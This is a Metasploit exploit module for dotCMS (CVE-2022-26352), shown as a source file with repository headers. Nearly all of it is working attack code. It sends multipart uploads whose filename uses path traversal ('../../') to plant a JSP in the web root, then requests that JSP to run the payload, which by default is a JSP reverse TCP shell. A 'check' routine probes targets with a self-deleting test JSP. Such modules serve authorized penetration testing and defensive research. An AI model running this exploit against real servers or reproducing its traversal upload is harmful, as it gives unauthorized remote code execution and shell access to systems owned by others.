97caca4f6e
Co-authored-by: cdelafuente-r7 <56716719+cdelafuente-r7@users.noreply.github.com>
168 lines
4.6 KiB
Ruby
168 lines
4.6 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'DotCMS RCE via Arbitrary File Upload.',
|
|
'Description' => %q{
|
|
When files are uploaded into dotCMS via the content API, but before they become content, dotCMS writes the
|
|
file down in a temp directory. In the case of this vulnerability, dotCMS does not sanitize the filename
|
|
passed in via the multipart request header and thus does not sanitize the temp file's name. This allows a
|
|
specially crafted request to POST files to dotCMS via the ContentResource (POST /api/content) that get
|
|
written outside of the dotCMS temp directory. In the case of this exploit, an attacker can upload a special
|
|
.jsp file to the webapp/ROOT directory of dotCMS which can allow for remote code execution.
|
|
},
|
|
'Author' => [
|
|
'Shubham Shah', # Discovery and analysis
|
|
'Hussein Daher', # Discovery and analysis
|
|
'jheysel-r7' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' => [
|
|
['CVE', '2022-26352'],
|
|
['URL', 'https://blog.assetnote.io/2022/05/03/hacking-a-bank-using-dotcms-rce/']
|
|
],
|
|
'Privileged' => false,
|
|
'Platform' => %w[linux win],
|
|
'Targets' => [
|
|
[
|
|
'Java Linux',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'linux'
|
|
}
|
|
],
|
|
[
|
|
'Java Windows',
|
|
{
|
|
'Arch' => ARCH_JAVA,
|
|
'Platform' => 'win'
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2022-05-03',
|
|
'DefaultTarget' => 0,
|
|
'DefaultOptions' => {
|
|
'SSL' => true,
|
|
'PAYLOAD' => 'java/jsp_shell_reverse_tcp'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
Opt::RPORT(8443),
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
test_content = Rex::Text.rand_text_alpha(10)
|
|
test_file = "#{test_content}.jsp"
|
|
test_path = "../../#{test_file}"
|
|
uuid = Faker::Internet.uuid
|
|
|
|
jsp = <<~EOS
|
|
<%@ page import=\"java.io.File\" %>
|
|
<%
|
|
File jsp=new File(getServletContext().getRealPath(File.separator) + File.separator + "#{test_file}");
|
|
jsp.delete();
|
|
%>
|
|
#{uuid}
|
|
EOS
|
|
|
|
vars_form_data = [
|
|
{
|
|
'name' => 'name',
|
|
'data' => jsp,
|
|
'encoding' => nil,
|
|
'filename' => test_path,
|
|
'mime_type' => 'text/plain'
|
|
}
|
|
]
|
|
|
|
send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/api/content/'),
|
|
'vars_form_data' => vars_form_data
|
|
)
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, test_file.to_s)
|
|
)
|
|
|
|
if res && res.body.include?(uuid)
|
|
return Exploit::CheckCode::Vulnerable
|
|
end
|
|
|
|
Exploit::CheckCode::Safe
|
|
end
|
|
|
|
def write_jsp_payload
|
|
jsp_path = "../../#{jsp_filename}"
|
|
print_status('Writing JSP payload')
|
|
vars_form_data = [
|
|
{
|
|
'name' => 'name',
|
|
'data' => payload.encoded,
|
|
'encoding' => nil,
|
|
'filename' => jsp_path,
|
|
'mime_type' => 'text/plain'
|
|
}
|
|
]
|
|
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/api/content/'),
|
|
'vars_form_data' => vars_form_data
|
|
)
|
|
|
|
unless res&.code == 500
|
|
fail_with(Failure::NotVulnerable, 'Failed to write JSP payload')
|
|
end
|
|
|
|
register_file_for_cleanup("../webapps/ROOT/#{jsp_filename}")
|
|
print_good('Successfully wrote JSP payload')
|
|
end
|
|
|
|
def execute_jsp_payload
|
|
jsp_uri = normalize_uri(target_uri.path, jsp_filename)
|
|
print_status('Executing JSP payload')
|
|
res = send_request_cgi(
|
|
'method' => 'GET',
|
|
'uri' => jsp_uri
|
|
)
|
|
|
|
unless res&.code == 200
|
|
fail_with(Failure::PayloadFailed, 'Failed to execute JSP payload')
|
|
end
|
|
print_good('Successfully executed JSP payload')
|
|
end
|
|
|
|
def exploit
|
|
write_jsp_payload
|
|
execute_jsp_payload
|
|
end
|
|
|
|
def jsp_filename
|
|
@jsp_filename ||= "#{rand_text_alphanumeric(8..16)}.jsp"
|
|
end
|
|
end
|